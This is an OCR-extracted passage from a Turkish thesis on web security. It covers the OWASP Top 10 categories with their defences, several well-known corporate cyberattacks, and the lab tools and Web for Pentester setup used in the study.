AD06:2017-Security Misconfiguration — ., _-7 A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) _— ~ TS A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization - e {Mew) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities = > A0S:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring — (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

Sekil 2.5. Glincel OWASP Top 10 grafigi ve son 4 yila gore degisimi [18].

OWASP, yayinladig: zafiyet listesinde CWE (Common Weakness Enumeration) yani
Yaygin Zafiyetler Listesi verilerine de bolca yer vermektedir. CWE, yazilim
giivenligi konusunda yardimci olmay1 ve agikliklart azaltmay1 hedefleyen, yazilim ve
donanim zafiyetlerini listeleyen, siiflandiran ve dlgiilendiren bir olusumdur. MITRE
tarafindan desteklenir. MITRE; havacilik, savunma, saglik, i¢ giivenlik ve siber
giivenlik alanlarinda ¢esitli ABD devlet kurumlarini destekleyen, FFRDC’leri
(Federally Funded Research and Development Center) yani Federal Olarak Finanse

Edilen Arastirma ve Gelistirme Merkezlerini yoneten bir kurumdur.

CWE'nin yazilim gelistiricilere ve giivenlik uygulayicilarina yardimer olmay:

hedefledigi alanlar sunlardir:
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- Yazilim ve donanim zafiyetlerinin ortak bir dilde tanimlanmas.

- Mevcut yazilim ve donanimlardaki zayifliklarin kontrol edilmesi.

- Bu zayifliklar1 hedefleyen araglarin kapsamlarinin degerlendirilmesi.

- Zayifliklarin belirlenmesi, azaltilmasi ve Onlenmesi i¢in ortak bir temel

standarttan yararlanilmasi.

- Sistemlerdeki zafiyetlerin gelistirme asamasinda tespit edilip engellenmesi

[19].

OWASP dokiimanlarinda ¢okg¢a karsilagilan bir diger veri ise CVE (Common
Vulnerabilities Enumeration) yani Yaygin Giivenlik Agikliklar Listesi’dir. CVE de
yine MITRE tarafindan tarafindan desteklenmektedir. CVE’nin hedefi, kamuya
sunulmus siber giivenlik acgiklarint belirlemek, tanimlamak ve kataloglayarak

kullanima sunmaktir [20].

OWASP’1n kullanima sunmus oldugu Top 10 zafiyet listesinde her bir kategori igin

baz1 veri faktorleri verilmistir. Bunlarin agiklamalari kisaca su sekildedir:

Eslenen CWE’ler: Ilgili kategoriyle eslenen CWE’lerin say1si.

- Insidans Orani: Kategori listesinin yaymlandig1 yil igin o kurulus tarafindan

test edilen uygulamalarda CWE’ye karsi savunmasiz olanlarin ytizdesi.

- Agirlikli  Exploit: CVE’lerin  CVSSv2(Common Vulnerability Scoring
System) yani Ortak Giivenlik Ag¢ig1 Puanlama Sistemi ve CVSSv3

puanlarinin exploit alt puan.

- Agirlikli Etki: CVE’lerin CVSSv2 ve CVSSv3 puanlarinin etki alt puani.
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- Kapsam: Belirli CWE i¢in tim kuruluslar tarafindan test edilen

uygulamalarin sayisi.

- Toplam Olusum: CWE’lerin ilgili kategoriyle eslendigi toplam uygulama

say1sl.

- Toplam CVE’ler: ilgili kategoriyle eslenen CWE’lerle eslenen NVD DB’deki
(National Vulnerability Database) yani Ulusal Giivenlik A¢ig1 Veri Tabani
toplam CVE sayis1 [18].

Tablo 2.1. OWASP Top 10 veri faktorleri [18].

OWASP Top 10 Eslenen Ortalama Ortalama Ortalama Ortalama Toplam Toplam
CWE’ler insidans agirlikli agirlikli - kapsam  olusum CVE’ler

orani exploit etki
Kirik kimlik dogrulama 34 3,81 6,92 5,93 47,72 318,487 19,013
Kriptografik hatalar 29 4,49 7,29 6,81 34,85 233,788 3,075
Enjeksiyonlar 33 3,37 7,25 7,15 47,90 274,228 32,078
Giivensiz tasarim 40 3,0 6,46 6,78 4251 262,407 2,691
Yanlis giivenlik 20 4,51 8,12 6,56 44,84 208,387 789
yapilandirmalari
Savunmasiz ve eski 3 8,77 5,0 5,0 22,47 30,457 O
bilesenler
Tanimlama ve kimlik 22 14,84 7,40 6,50 2,55 132,195 3,897
dogrulama hatalar1
Yazilim ve veri 10 2,05 6,94 7,94 45,35 47972 1,152
biitiinliigii hatalari
Gunluk givenlik 4 6,51 6,87 4,99 39,97 53,615 242

kayitlar1 ve izleme

hatalar1
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2.5.3.1. Kirik kimlik dogrulama

Kirik/bozuk kimlik dogrulama, saldirganin sisteme erisimi olan kullanicilarin
kimligine biiriinerek sistemi zafiyete ugratmasidir. Saldirganlar ¢esitli yontemlerle bu
saldirty1 gerceklestirebilirler. Ornegin karmasik olmayan, kolay tahmin edilebilecek
sifreler icin cesitli ataklar yapilabilir. Veya karmagik olsa bile yeterince iyi
saklanmayan sifreler de tehdit olusturmaktadir. Ornegin veri tabanlarinda agik
sekilde tutulan sifreler SQL (Structured Query Language) enjeksiyonu saldirilariyla
ele gegirilebilir. Yine URL (Uniform Resource Locator) yapisi iizerinde agik sekilde

tutulan sifreler ve kimlik bilgileri de biiyiik risk olugturmaktadirlar [21].

Kullanic

> \‘\’
: >o
ACL kontrolii olmadan erigim
Saldirgan
N
Normal Baglanti R '

@

ACL
L (Erisim kontrol listesi) P

Veritabani Sunucusu

Y

seememssmssesscsesssesesesaces > Web Sunucusu
Zafiyet igeren baglanti

Sekil 2.6. Kirik kimlik dogrulama

En sik goriilen kirik kimlik dogrulama zafiyetlerinden bazilart sunlardir:

- Erisim izinlerinin herkese ag¢ik olmasi, varsayilan olarak acgik sekilde

tutulmasi, engellenmemesi.

- URL vyapisinin degistirilmesi, HTML sayfasinin degistirilmesi veya API

isteklerinin degistirilmesiyle erisim kontrollerinin atlatilabiliyor olmasi.
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APT’a eksik POST, PUT ve DELETE kontrollerinin bulunmasi sebebiyle

kolaylikla erisilebiliyor olmasi.

Kullanici rollerinin dogru sekilde diizenlenmemesi sonucu kullanicinin admin

roliine gegebilmesi.
Ust verilerin (meta data) kolaylikla degistirilebilmesi.
Kokenler arast kaynak paylasimi (Cross-Origin  Resource  Sharing)

yapilandirmalarinin  yanlisligt ve bunun sonucu olarak gilivenilmeyen

kaynaklardan API erisiminin miimkiin olmasi.

Bu zafiyetlere kars1 korunma yontemlerinden bazilar1 ise sOyle siralanabilir:

Erisim izinlerinin varsayilan olarak reddedilmesi.

Erisim denetim mekanizmalarinin kontrollil bir sekilde uygulanmasi.

Web sunucusunun dizin listesi ve st veri gibi kayitlarin erisilebilir

olmadigindan emin olunmasi.

Erisim deneyimi hatalarinin gilinliik olarak kaydinin tutulmasi, belli

durumlarda ydneticilere uyar1 gonderilmesi.

Kaba kuvvet saldirilarina karst API erisiminin sinirlandirilmasi.

Oturum degiskenleri oturum kapatildiktan sonra sunucuda gegersiz kilinmasi

[18].
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2.5.3.2. Kriptografik/Sifreleme hatalar:

Yetersiz veya giivenli olmayan sifreleme yontemlerinin kullanilmasiyla, hassas ve
korunmasi1 gereken verilerin ele gecirilmesi seklinde tanimlanabilir. Verilerin
sifrelenmeden veritabaninda tutulmasi, giiclii olmayan sifreleme anahtarlarinin

kullanilmast gibi durumlar bu zaafiyete yol agabilir.

Bu zaafiyet finansal kayiplara, kurumlarin itibarlarinin zayiflamasina ve daha bir ¢ok
probleme sebep olabilir. Biiyiik capli sistemler diisiiniildiigiinde bu zaafiyete karsi
korumanin 6nemi daha da artmaktadir. Ulkenin yasal cerceveleri ile verilerin

giivenligi garanti altina alinmalidir [21].

Omegin sifreler, kredi kart1 numaralar1, saglik verileri, kisisel bilgiler, ticari sirlar
ekstra koruma gerektiren hassas verilerdir. Avrupa Birligi’nin GPDR (General Data
Protection Regulation) yani Genel Veri Koruma Tiizligli yonetmeligine gore bu tiir
hassas verilerin korunmasi i¢in gerekli kurumsal ve teknik Onlemlerin alinmasi
zorunludur. Bu veriler izinsiz islenemez, paylasilamaz. Buna benzer yonetmeliklerin
varlig1 ve zorunlulugu ilgili zafiyete kars1 korunmanin 6nemini artirmaktadir.
Kriptografik hatalara sebebiyet veren durumlardan bazilar1 sunlardir:

- Verilerin aktarilirken agik metin seklinde tutulmasi.

- Varsayilan olarak kullanilan sifreleme algoritmalarinin eski veya zayif

olmasi.

- Sifreleme anahtarlarinin varsayilan olarak birakilmasi, zayif olmalar1 ve

kontrollerinin yapilmamasi.

- Sifrelemenin yapilmasinin zorunlu olmamasi.

- HTTP bagliklar1 veya iist bilgilerinin eksik olmasi.
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- MD?5 (Message-Digest Algorithm) veya SHA1 (Secure Hash Algorithm) gibi

kullanimdan kaldirilmis olan hash fonksiyonlarinin kullanilmas.

Bu zaafiyete kars1 alinabilecek korunma yontemlerinden bazilar1 da sunlardir:

- Hassas verilerin detayli bir sekilde belirlenerek, nerelerde kullanilip

islendiginin siiflandirilmasi.

- Saklanan verilerin giincel ve islevine uygun algoritmalarla sifrelenmesi.

- Sifreleme anahtarlarinin yonetiminin ve kontroliiniin yapilmasi.

- Anahtarlarin rastgele olusturularak hafizada byte dizileri olarak tutulmasi.

- Hassas verilerin 6n bellege alinmasinin devre dis1 birakilmasi.

- FTP (File Transfer Protocol) veya SMTP (Simple Mail Transfer Protocol)

gibi eski protokollerle hassas verilerin tasinmamasi [18].

2.5.3.3. Enjeksiyonlar

Enjeksiyon saldirilart genis bir alanda incelenebilirler. Bu saldirilar, saldirganlar
sistemdeki giris noktalarindan herhangi birinde bir zayiflik bularak, bu noktadan
zararl kodlar gonderdiklerinde meydana gelirler. Sisteme direkt zarar verebilirler

veya gizli verileri ele gegirebilirler.

SQL enjeksiyonu saldirilarinin birgok ¢esidi bulunmaktadir. Ornegin hata tabanli
saldirillarda sistemin trettigi SQL hata mesajin1 kullanan saldirgan gizli verileri ele
gecirir. Bir diger SQL enjeksiyonu tiirii ise Union tabanli saldirilardir. Bu saldirilarda
iki farkli tablodan veri ¢gekme islemini yapabilen union anahtarini kullanan saldirgan,

mevcut SQL sorgusu Uzerinden diger tablolara ve verilere erisir.
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Kod enjeksiyonu saldirilari, sistemin ana sunucu bilgisayarna ulasilarak zararli
kodlarin ¢alistirilmasi seklinde gergeklestirilir. Bu saldirilar; kullanici girislerinin
dogrulanmasi, sistemi etkileyecek islemlerin tamamen engellenmesi gibi yontemlerle
engellenebilir [21].
Sistemin enjeksiyon saldirisina agik oldugu durumlardan bazilar1 sunlardir:

- Kullanici tarafindan gelen verilerin uygulama tarafindan filtrelenmemesi.

- Sistemdeki veri girig noktalarinin direkt SQL sorgularina bagli olmasi.

Enjeksiyon saldirilarindan korunma yontemlerinden bazilari ise sunlardir:

- Enjeksiyonun Onlenmesi i¢in verilerin komutlardan ve sorgulardan ayri

tutlmasi, giris noktalarindan alinan verilerin direkt kullanilmamasi.

- QGelen verilerin sunucu tarafinda filtrelenmesi.

- Olast enjeksiyon saldiris1 durumunda kayitlarin toplu sekilde ifsa edilmesini

onlemek i¢in sorgularda LIMIT gibi SQL kontrollerinin kullanilmasi [18].

2.5.3.4. Giivensiz tasarim

Tasarim kusurlartyla ilgili risklere odaklanan bir zaafiyettir. Sistemleri saldirilardan
korumak ig¢in tasarim desenlerinin kullanimina, tehdit modellemesine, referans

mimarilere gereken énem verilmeli, sistemlere dahil edilmelidirler.

Tasarimsal kusurlart olan bir sistemde dogru gilivenlik kontrolleri ve tanimlamalarin
yapilmas1 daha zordur. Oysa tasarimsal olarak gilivenli bir yapiya sahip olan

sistemlerde giivenligin saglanmasi daha kolaydir.
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Giivenli bir sistem gelistirilmesi i¢in; giivenli bir yazilim gelistirme yagam dongus,
giivenli bir tasarim deseni, giivenli bilesenler ve tehdit modellemesi gerekir. Yani

yazilimin her asamasinda giivenlik alaninda uzman kisilerden destek alinmalidir.

Glivensiz tasarimdan kaynakli saldirilardan korunmak i¢in alinabilecek dnlemlerden

bazilar1 sunlardir:

- QGilvenlik ve gizlilikle ilgili kontrollerin degerlendirilmesinde uygulama

giivenligi alaninda uzman kisilerin gorev almasi.

- Giivenli tasarim desenlerini kullanan bir bilesen kiitiiphanesi olusturup

sistemde bu bilesenlerin kullanilmasi.

- Kimlik dogrulama, erisim kontrolii, i mantig1 gibi hassas alanlarda tehdit

modellemesinin yapilmast.

- Sistemlerde katmanli mimarinin kullanilmasi.

- Kullanici veya hizmete gore kaynak tiiketiminin sinirlanmasi [18].
2.5.3.5. Yanhs giivenlik yapilandirmalari
Bu zafiyet gilivenlik yapilandirmalarinin tehditlere maruz birakacak sekilde yanlis
yapilandirildigr durumu ifade eder. Giivenlik duvarindaki yanlis yapilandirmalar,
uzaktan saldirilara olanak saglayan agik birakilmig portlar bu saldirilara sebep
olabilirler.
Bu tir saldirilarin  engellenmesi i¢in alinabilecek Onlemlerden bazilari,

yapilandirmalarin  belli bir kalite gilivence siirecinden gecirilmesi, yapilan

degisikliklerin test ve dogrulama iglemlerinin kontrollii sekilde yapilmasidir [21].
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Yanlis gilivenlik yapilandirmalarindan kaynakli saldirilara yol acabilecek bazi

durumlar sunlardir:

- Bulut servislerinin izinlerinin yanhs yapilandirilmasi.

- Gereksiz portlarin, servislerin, sayfalarin, hesaplarin bulunmasi.

- Varsayilan hesaplarin ve parolalarinin kullanilabilir durumda olmasi.

- Hata mesajlarinda gereginden fazla bilginin kullanicilara gosterilmesi.

- Uygulama sunucularindaki, frameworklerdeki (Spring, ASP.NET gibi)
kiitliphanelerdeki, veri tabanlarindaki gilivenlik ayarlarinin dogru sekilde
ayarlanmamasi.

Olasi saldirilara kars1 alinabilecek 6nlemlerden bazilar1 sunlardir:

- Gereksiz Ozelliklerin, bilesenlerin, belgelerin bulunmadig1 bir sistem

kurulmasi.

- Kullanilmayan 6zellik ve frameworklerin kaldirilmasi.

- Cesitli segmentlere ayrilmig bir uygulama mimarisinin tasarlanmasi.

- Istemcilere giivenlik yonergelerinin gonderilmesi (giivenlik basliklar1 gibi)
[18].

2.5.3.6. Savunmasiz ve eski bilesenler

Glinlimiizde hemen her sistemin belli bilesenlere bagimliligi vardir. Bu

bilesenlerdeki bilinen, mevcut giivenlik agikliklar1 zaafiyete sebep olabilir.
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Saldirganlar yeni agikliklar kesfetmek yerine mevcut olanlar1 kullanmaya oncelik

verirler.

Bu tiir saldin tiirlerine karst korunma i¢in mevcut sistemin bagimliliklarinin her
zaman kontrol altinda tutulmasi gerekmektedir. Kullanilmayan veya artik eski olarak
nitelendirilebilecek kullanim dig1 bagimliliklar kaldirilmalidir. Bagimli olunan
bilesenlerin takibi ve giincellenmesi, mevcut sistemin bakim yasam dongiisiine dahil

edilmeli, belli prosedurler dahilinde takip edilmelidir [21].

Eski bilesenlerden kaynakli saldirilara karst sistemin acik oldugu durumlardan

bazilar1 sunlardir:

- Bilesenlerin hangi siirtimlerinin kullanildiginin bilinmemesi.

- Bilesene ait giivenlik aciklariin ve gilincellemelerin takip edilmemesi.

- Glincellenen bilegenlerin testlerinin tam olarak ve zamaninda yapilmamasi.

Bu tiir saldirilardan korunmak igin alinabilecek 6nlemlerden bazilar1 sunlardir:

- Kullanilmayan bagimliliklarin, bilesenlerin, dosyalarin ve dokiimanlarin

kaldirilmasi.

- Kullanilan bilesenlerin siirlimlerinin siirekli takip edilmesi, ilgili e-posta

uyarilarina abone olunmast.

- Bilesenlerin yalnizca giivenli baglantilar iizerinden, resmi kaynaklardan

edinilmesi [18].
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2.5.3.7. Tanimlama ve kimlik dogrulama hatalar

Kimlik dogrulama, oturum yonetimi gibi alanlar bu saldirilarda kritik noktalardir. Bu
ataklara kars1 zaafiyet; sistemde kaba kuvvet (brute force) ataklarina karsi bir koruma
olmadiginda, varsayilan kullanici adlari veya sifreler kullanildiginda, giivensiz
tasarlanmig sifre unutma/yenileme siiregleri kullanildiginda, oturum verilerinde
kriptografik zaafiyetler bulundugunda olusabilir.

Bu tiir saldirilart engellemek i¢in; sifreler karmasik olmaya zorlanmali, oturum
verileri URL’lerde gosterilmemeli, oturum siiresi sinirlandirilmali, hatali giris
denemelerinde verilen hata mesajlarinin kontrol edilmeli, sisteme girislerde deneme
say1st sinirlt tutulmalidir [21].

Sistemin bu tdr saldirilara agik oldugu durumlardan bazilar1 sunlardir:

- Brute force gibi otomatiklestirilmis ataklara kars1 bir koruma olmamasi.

- Varsayilan sifre ve kullanici adlarmin kullanilmasi (“Passwordl” veya

“admin/admin” gibi).

- Veri tabanindaki oturum verilerinin acgik veya zayif sifrelenmis sekilde

tutulmasi.

- Cok faktorlii olmayan bir kimlik dogrulamasi kullanilmasi.

- URL’de oturum tanimlayicilarinin gdsterilmesi.

- Oturum ID’lerinin (Session ID) dogru sekilde yonetilmemesi.

Bu saldirilardan korunmak i¢in alinabilecek dnlemlerden bazilar1 sunlardir:

- Cok faktorli kimlik dogrulamanin kullanilmasi.
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- Varsayilan oturum verilerinin kullanilmamasi.

- Sifrelerin karmasik olmaya zorlanmasi, en sik kullanilan belli sifrelerin

kullaniminin engellenmesi.

- Sunucu tarafinda gilivenli bir oturum yonetimi sisteminin yapilandirilmasi

[18].

2.5.3.8. Yazilim ve veri biitiinliigii hatalar:

Yazilim ve veri biitiinliigli hatalar1, biitlinliik ihlallerine karsi koruma saglamayan
kod ve altyapilar ile ilgilidir. Bunun bir O6rnegi, sistemin guvenli olmayan
kaynaklardan edinilen kiitiiphaneler, eklentiler ve modiillere dayanmasidir. Ayrica
giiniimiizde bir¢ok sistemde otomatik gilincelleme 6zelligi bulunmaktadir. Bu durum
yeterli biitiinlik dogrulamasi olmadan giincellenme tehlikesini barindirabilir.
Saldirganlar yaygin kullanilan bir eklentiye kendi zararli kodlarini yiikleyebilirler ve

bu eklentiye sahip sistemler otomatik olarak saldirtya maruz kalabilirler.

Bu tiir saldirilardan korunma yontemlerinden bazilar1 sunlardir:

- Yazilimlarin veya verilerin hangi kaynaktan geldiginin kontrol edilmesi i¢in

dijital imza gibi mekanizmalarin kullanilmasi.

- Bilesenlerin bilinen giivenlik aciklarini igerip icermedigini dogrulamak igin
OWASP Bagimmlilik Kontrolii veya OWASP CycloneDX gibi bir yazilim

tedarik zinciri giivenlik aracinin kullanilmasi.

- Imzasiz veya sifrelenmemis verilerin iletim asamasinda degistirilmediginden

veya yedeklenmediginden emin olunmasi [18].
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2.5.3.9. Giinliik giivenlik kayitlar1 ve izleme hatalar

Giivenlikle ilgili durumlarin kaydinin ve kontroliiniin eksik oldugu durumlarda
ortaya ¢ikan zafiyettir. Bu durumda saldirganlarin saldiri denemeleri tespit
edilmeden devam ediyor olabilir. Bu durum olasi saldirilara karsi tespit ve
savunmay1 oldukea zorlastirir ve yavaslatir [21].

Sistemin bu saldiriya kars1 agik oldugu durumlardan bazilar1 sunlardir:

- Oturum agma, basarisiz oturum agma denemesi gibi islemlerin giinliik olarak

kaydedilmemesi.

- Ginliik kayitlardaki hata mesajlarinin yetersiz bilgi icermesi.

- Ginliik kayitlarin sadece yerel olarak depolanmasi.

- Sistemin  saldirn  durumunda anlik olarak algilama ve uyan

gergeklestirememesi.
Bu tiir saldirilara kars1 alinabilecek 6nlemlerden bazilar1 sunlardir:
- Qiris, erisim denetimi ve sunucu tarafindaki veri dogrulama ile ilgili hatalarin
olast saldirilar1 tespit edebilecek kadar veriyle beraber giinliiklere

kaydedilmesi.

- QGilnlik kayitlarin, kayit yonetim sistemleriyle uyumlu olacak sekilde

tutulmasi.

- Giinliik kayitlarin olasi saldirilara kars: sifreli sekilde tutulmasi, yani sistemin

giivenligi kadar giinliik kayitlarin da giivenliginin saglanmasi.

- Veri tabanindaki tablolarda silme islemine karsi engellemenin olmasi.
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- Ulusal Standartlar ve Teknoloji Enstitust (NIST) 800-61r2 veya Uzeri bir

standarda uygun sekilde miidahale ve kurtarma plani olusturulmasi [18].

2.5.3.10. Sunucu tarafl istek sahteciligi

Bu saldir tiirlinde saldirganlar sistem adina istek gondermektedirler. Saldirgan, hedef

sunucuya giden istekleri degistirebilir ve parametrelere istedigi verileri girebilir.

Sunucunun uzak kaynaklara yaptig1 isteklerde izin verilen domain ve protokollerin

denetlenmemesi bu zafiyete sebebiyet verir.

Usert
10.40.96.55
Turkey

Hacker !
85.39.56.65
India

Sekil 2.7. Sunucu tarafli istek sahteciligi

Bu tiir saldirilardan korunmak i¢in alinabilecek onlemlerden bazilar1 sunlardir:

- Temel intranet trafigini haricindeki tiim trafigi engellemek icin “varsayilan

olarak reddet” giivenlik duvari kurallariin uygulanmasi.

- Giivenlik duvarinda kabul edilen veya reddedilen tiim ag akislarinin giinliik

olarak kaydedilmesi.
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- Kullanicilar tarafindan saglanan tiim girdilerin dogrulanmasi ve filtrelenmesi.

- Kullanici isteklerine islenmemis, ham doniisler gonderilmemesi.

- HTTP yonlendirmelerinin devre dis1 birakilmasi.

- Mimkiin olan kullanici gruplar1 i¢gin VPN (Virtual Private Network) yani
Sanal Ozel Aglar kullanilmasi [18].

2.6. Kurumlara Gerceklestirilen Siber Saldir1 Ornekleri

Her yil birgok kuruma ¢esitli saldirilar gerceklestirilmektedir. Bunlar ister biiyiik
ister kiiciik oOl¢ekli olsun, kurumlarimn maddi kayiplarina veya itibarlarinin
zedelenmesine sebep olmaktadir. Bu baglik altinda bazi kurumsal siber saldiri

orneklerine yer verilmistir.

2.6.1. Sony’ye yapilan siber saldir

2011 yilinin nisan aymda 77 milyon Playstation kullanicisinin ve 24,6 milyon Sony
Online kullanicisinin hesaplar1 ele gegirilmistir. Kisilerin sifreleri, kredi karti
bilgileri, siparis ge¢misleri, adresleri ¢alinan veriler arasindadir. Ayn1 y1l mart ayinda
Japonya’da gerceklesen depremde Sony tesisleri agir bir sekilde etkilenmistir. Bu
durum nisan ayindaki saldirinin daha da ¢ok kayba sebep olmasina olanak
saglamistir. Toplam tahmini kayip 171 milyon dolardir. Ancak bu rakama
tazminatlar, calinan kredi kart1 verilerinin kétiiye kullanilmasindan dogan kayiplar,

markanin piyasa degerindeki diisiis dahil degildir.

Bu olaylardan 3 yil sonra Kasim 2014’te Sony bir saldirtya daha maruz kaldi. Yine
bircok veri sizdirildi. 30.000°den fazla belge, 170.000 e-posta, ¢alisanlarin sosyal

guvenlik numaralari, tibbi ge¢misleri gibi 6zel bilgiler ve heniiz vizyona girmemis
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filmler calindi. Verilerin ¢alinmasinin yani sira Sony’nin sistemleri, veri tabani ve

sunucular kullanilamaz hale geldi.

Tim bu saldirilardan sonra Sony sistemlerinin biiyltik bir kismini yeniledi.
Calisanlarina giivenlik seminerleri verdi. Tim bu iyilestirme ve koruma
yontemlerinin uygulanmasindan sonra bile daha Onceden ele gecirilen veriler

sebebiyle Sony bir¢ok problem yasamaya devam etti.

Donanimsal ve yazilimsal olarak sistemlerini giincellemekle kalmayip en kritik

noktalarda gorev alan ¢alisanlarini kaybetti. Marka itibar1 ciddi oranda diistii [22].

2.6.2. JP Morgan’a yapilan siber saldiri

2014 yilinda ABD’nin en biiyiik bankalarindan biri olan JP Morgan Chase bazi
sunucularinin ydnetici erisimine bilgisayar korsanlar1 tarafindan erisildigini bildirdi.
Bu saldirida hesap sahiplerinin adlari, telefon numaralari, adresleri ele gecirildi. 76
milyon hane ve 7 milyon kiigiik isletme bu durumdan etkilendi. JP Morgan giivenlik
sistemlerini giincelledi, bircok yeni ¢alisan1 ise aldi. Maddi kayiplara ek olarak
kullanicilarin goziinde itibarini1 kaybetti. Bircok kullanici iletisim verilerinin ele

gecirilmesi sonucu e-posta dolandiriciliginin kurbani oldu [22].

2.6.3. Ashley Madison’a yapilan siber saldiri

2015 yili temmuz ayinda bir arkadaslik sitesi olan Ashley Madison’a kayitl kisilerin
hesap verileri ele gecirildi. 33 milyon hesabin kisisel verileri sizdirildi. En 6nemli
ilkesi gizlilik ve giivenlik olan bir sitenin saldiriya ugramasi itibarini biiyiik oranda
zedeledi. Saldir1 sonrasinda Ashley Madison’a c¢ok fazla dava agildi. Sizdirilan
kisisel verilerde bir¢ok iiyenin ABD ordusuna hizmet eden kisilerde bulunan “.mil”
alan adli e-posta adreslerine sahip oldugu goriildii. ABD ordusunda bu tiir arkadaslik
sitelerinin kullanimi1 sug tegskil ettiginden birgok iiye hapse girdi. Bunlara ek olarak
bircok tanminmis sahsiyet {yeliklerinin ifsa edilmesi sebebiyle bosandilar veya

itibarlarini kaybettiler [22].
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2.6.4. Aramco’ya yapilan siber saldiri

15 Agustos 2012 tarihinde iran’a yaki bir grup, Suudi Arabistan’in énemli petrol
sirketlerinden Aramco’ya bir saldir1 diizenledi. Piyasa degeri 2 trilyon civari olan
sirkete yapilan saldiri, bir ¢alisanin bilgisayara taktigi USB ile bulasan bir saldir1 ile
gergeklestirildi. Shamoon ve Disttract adi verilen virlis ile verilerin silinmesi
amaclandi. Saldiriy1 gergeklestiren saldirganlar viriis bulasan bilgisayarlarin IP
(Internet Protocol) adreslerini internette yayinladilar. Saldirinin sebep oldugu hasar
ABD, Israil ve Rusya ortak calismasi ile 2 haftada kontrol altina aliabilmistir.
Sirkete ait yaklasik 30 bin bilgisayar saldir1 sebebiyle kullanilamaz hale gelmistir.
Saldir1 sonucunda maddi zarara ve itibar kaybina ek olarak lilke de biiylik zarara

ugramistir [7].

Ornek siber saldirilarda goriildiigii iizere, kurumsal sirketler birgok agidan zarara
ugramislardir. Bunlar maddi zararlar, itibar kaybi, psikolojik etkiler, ¢alisan kaybi

olarak siralanabilir.



BOLUM 3. MATERYAL VE YONTEM

3.1. Calismada Kullamlan isletim Sistemi ve Araclar

3.1.1. Kali Linux

Calisma kapsaminda Linux isletim sisteminin sizma testleri i¢in Ozellestirilmis
dagitimi olan Kali Linux kullanilmistir. Kali Linux kullanilmasinin temel sebepleri
kurulum asamasinda gelen giiclii araclar ve komponentler, sade arayiiz yapisi ve

sizma testleri (Penetration Test) i¢in 6zellestirilmis bir igletim sistemi olmasidir.

Kali Linux, Debian GNU/Linux tabanli, glivenlik amacl kullanilan, kurumsal
kullanima olanak saglayan bir Linux dagitimidir. Kali Linux araciligi ile ileri

diizeyde sizma testleri, ¢esitli analizler ve giivenlik denetimleri yapilabilir [23].

3.1.2. VMWare Workstation

VMWare, kuruluslarin sanallagtirma ihtiyaclarin1 karsilayan ABD merkezli bir
sirkettir. Vmware Workstation bu kurulusa ait bir sanallagtirma yazilimidir. Bir
fiziksel makineye birden ¢ok isletim sisteminin kurulmasina olanak verir. Mevcut
fiziksel makinenin donanim O6zelliklerine bagl olarak sanal makinelere de donanim
saglanabilir. Konuk isletim sistemine programlar ve araglar yiiklenebilir, ag ve dosya
paylasimi yapilabilir. VMWare Workstation kullanilarak mevcut makinede
bulunmayan igletim sistemleri kullanilabilir. Bu isletim sistemlerine farkl
programlar kurulabilir. Tiim bunlarin ana bilgisayardan bagimsiz bir ortamda

yapilmasi biiyiik kolayliklar saglamaktadir [24].
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3.1.3. Ubuntu

Ubuntu, ticretsiz, 6zgiirce kullanilabilen ve istenildigi gibi o6zellestirilebilen bir
isletim sistemi olusturulmas: fikriyle ortaya ¢ikmistir. Ilk resmi siiriimii 2004 yilinda
hizmete sunulmustur. Diinyada Linux c¢ekirdegini kullanan en yaygin dagitimdir.
Ubuntu isletim sistemi; herkesin yayinlanmasi, kopyalamasini ve gelistirmesine agik
yazilimlardan olusur. Tiim diinyada yaygin olarak kullanilan Ubuntu c¢ok sayida
siirime sahiptir. Tim bu siirimlerle beraber her gecen giin gelismeye devam

etmektedir [25].

3.1.4. Apache

Apache HTTP Server (Apache), http protokoliinii kullanan {icretsiz ve acik kaynak
kodlu web sunucusudur. Linux, Unix, Windows, Mac OS X ve bir¢ok isletim
sisteminde yaygin olarak kullanilir. Internetteki en yaygin web sunucusu olan
Apache, modiil tabanli bir yapiya sahiptir. Bu nedenle O6zellestirilmeye agiktir.
Giivenlik, onbellege alma, parola kimlik dogrulamasi gibi birgok modiilii mevcuttur.
Platformlar arasi calisabiliyor olmasi, agik kaynak kodlu olmasi sebebiyle sik
guncellenme almasi ve guvenlik agiklarinin ¢abuk kapatiliyor olmasi Apache’nin

tercih edilme sebeplerinden bazilaridir [26].

3.1.5. Wireshark

Wireshark, alaninda onde gelen ve diinyada yaygin olarak kullanilan ag protokol
analiz araglarindan birisidir. Canli ve cevrimdisi paketleri yakalanmasi, analiz
edilmesi, network trafiginin izlenmesi, zengin filtreleme segenekleri gibi bir ¢ok
ozellige sahiptir. Yiizlerce protokolii destekler. Coklu platform destegine sahiptir

[27].
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3.1.6. Scapy

Scapy, python ile gelistirilmis, istege gore Ozellestirilmis paketler olusturulmasini
saglayan acik kaynak kodlu bir python aracidir. Network taramasinda, analiz
edilmesinde, paketlerin manipiilasyonunda kullanilmaktadir [28]. Ayrica esnek
yapist kullanicilar tarafindan olusturulan scriptler Scapy’e eklenebilir. Kali Linux

isletim sisteminde kurulu olarak gelmektedir.

3.2. Siber Saldir1 Senaryolari

3.2.1. Kirik kimlik dogrulama saldir1 6rnegi

Kirik kimlik dogrulama zafiyetinin 6rnek saldirilari i¢cin PentesterLab tarafindan
gelistirilen, web sizma egitimleri i¢in kullanilabilecek bir laboratuvar ortami olan
Web for Pentester — | (WFP-1) sanal makinesi kullanilmistir. Bu sanal makine, dizin
gecisi, SQL enjeksiyonu, kod enjeksiyonu, XML saldirilar1 gibi bir¢ok zafiyet i¢in

test ortam1 sunmaktadir.

Calisma kapsaminda “Web for Pentester — I" laboratuvar ortami “VMWare
Workstation Pro” lizerinde kurulmustur. Sonrasinda “ifconfig” komutu girilerek

sunucunun IP adresi 6grenilmistir.

Sekil 3.1. Web for Pentester — I laboratuvar ortaminin IP adresinin 6grenilmesi.

Ilgili IP adresi iizerinden sunucuya erisim saglandiginda sunucunun erisime acik
oldugu goriilmektedir. Uzerinde barindirdig1 zafiyetlerle ilgili bircok 6rnege, giris

sayfasindan ulasilabilmektedir.
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Web For Pentester

This exercise is a set of the most common web vulnerabilities

azrm -
XSS SQL injections Directory traversal
File Include Code injection Commands injection
LDAP attacks File Upload XML attacks

Sekil 3.2. Web for Pentester — I giris sayfasi.

